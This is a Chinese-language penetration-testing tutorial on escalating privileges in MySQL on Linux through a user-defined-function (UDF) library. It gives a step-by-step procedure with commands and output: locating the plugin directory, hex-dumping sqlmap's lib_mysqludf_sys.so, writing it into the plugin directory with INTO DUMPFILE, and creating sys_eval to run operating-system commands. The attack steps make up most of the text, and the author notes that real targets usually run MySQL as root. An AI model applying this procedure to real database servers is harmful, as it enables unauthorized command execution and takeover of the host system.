Linux利用UDF库实现Mysql提权
环境:
os:linux(bt5)
database:mysql
简述:
通过自定义库函数来实现执行任意的程序,这里只在linux下测试通过,具体到windows,所用的dll自然不同。
要求:
在mysql库下必须有func表,并且在‑‑skip‑grant‑tables开启的情况下,UDF会被禁止;
过程:得到插件库路径找对应操作系统的udf库文件利用udf库文件加载函数并执行命令
1,得到插件库路径
mysql>showvariableslike"%plugin%"; +---------------+-----------------------+ |Variable_name|Value| +---------------+-----------------------+ |plugin_dir|/usr/lib/mysql/plugin| +---------------+-----------------------+ 1rowinset(0.00sec)
2,找对应操作系统的udf库文件
因为自己测试,看了下自己系统的版本,64位
root@bt:~#uname-a Linuxbt3.2.6#1SMPFriFeb1710:34:20EST2012x86_64GNU/Linux
对于udf文件,在sqlmap工具中自带就有,只要找对应操作系统的版本即可
root@bt:/pentest/database/sqlmap/udf/mysql#ls linuxwindows root@bt:/pentest/database/sqlmap/udf/mysql/linux#ls 3264 root@bt:/pentest/database/sqlmap/udf/mysql/linux/64#ls lib_mysqludf_sys.so
3,利用udf库文件加载函数并执行命令
首先要得到udf库文件的十六进制格式,可在本地通过
mysql>selecthex(load_file('/pentest/database/sqlmap/udf/mysql/linux/64/lib_mysqludf_sys.so'))intooutfile'/tmp/udf.txt'; QueryOK,1rowaffected(0.04sec)
因为我测试时,使用自带账户,账户名mysql,并不是root,所以插件目录不可写,而实际中,一般udf提权都是用root权限启动的mysql程序,故,不存在目录权限不足,不能访问的情况。为了继续,修改目录权限
root@bt:~#chmod777/usr/lib/mysql/plugin
数据库中写入udf库到mysql库目录:
mysql>selectunhex('7F454C46020...')intodumpfile'/usr/lib/mysql/plugin/mysqludf.so'; QueryOK,1rowaffected(0.04sec)
查看下这个udf库所支持的函数
root@bt:~#nm-D/usr/lib/mysql/plugin/mysqludf.so w_Jv_RegisterClasses 0000000000201788A__bss_start w__cxa_finalize w__gmon_start__ 0000000000201788A_edata 0000000000201798A_end 0000000000001178T_fini 0000000000000ba0T_init Ufgets Ufork Ufree Ugetenv 000000000000101aTlib_mysqludf_sys_info 0000000000000da4Tlib_mysqludf_sys_info_deinit 0000000000001047Tlib_mysqludf_sys_info_init Umalloc Ummap Upclose Upopen Urealloc Usetenv Ustrcpy Ustrncpy 0000000000000dacTsys_bineval 0000000000000dabTsys_bineval_deinit 0000000000000da8Tsys_bineval_init 0000000000000e46Tsys_eval 0000000000000da7Tsys_eval_deinit 0000000000000f2eTsys_eval_init 0000000000001066Tsys_exec 0000000000000da6Tsys_exec_deinit 0000000000000f57Tsys_exec_init 00000000000010f7Tsys_get 0000000000000da5Tsys_get_deinit 0000000000000feaTsys_get_init 000000000000107aTsys_set 00000000000010e8Tsys_set_deinit 0000000000000f80Tsys_set_init Usysconf Usystem Uwaitpid
最后,加载函数并执行:
mysql>createfunctionsys_evalreturnsstringsoname"mysqludf.so"; QueryOK,0rowsaffected(0.14sec) mysql>selectsys_eval('whoami'); +--------------------+ |sys_eval('whoami')| +--------------------+ |mysql| +--------------------+ 1rowinset(0.04sec) mysql>select*frommysql.func; +----------+-----+-------------+----------+ |name|ret|dl|type| +----------+-----+-------------+----------+ |sys_eval|0|mysqludf.so|function| +----------+-----+-------------+----------+ 1rowinset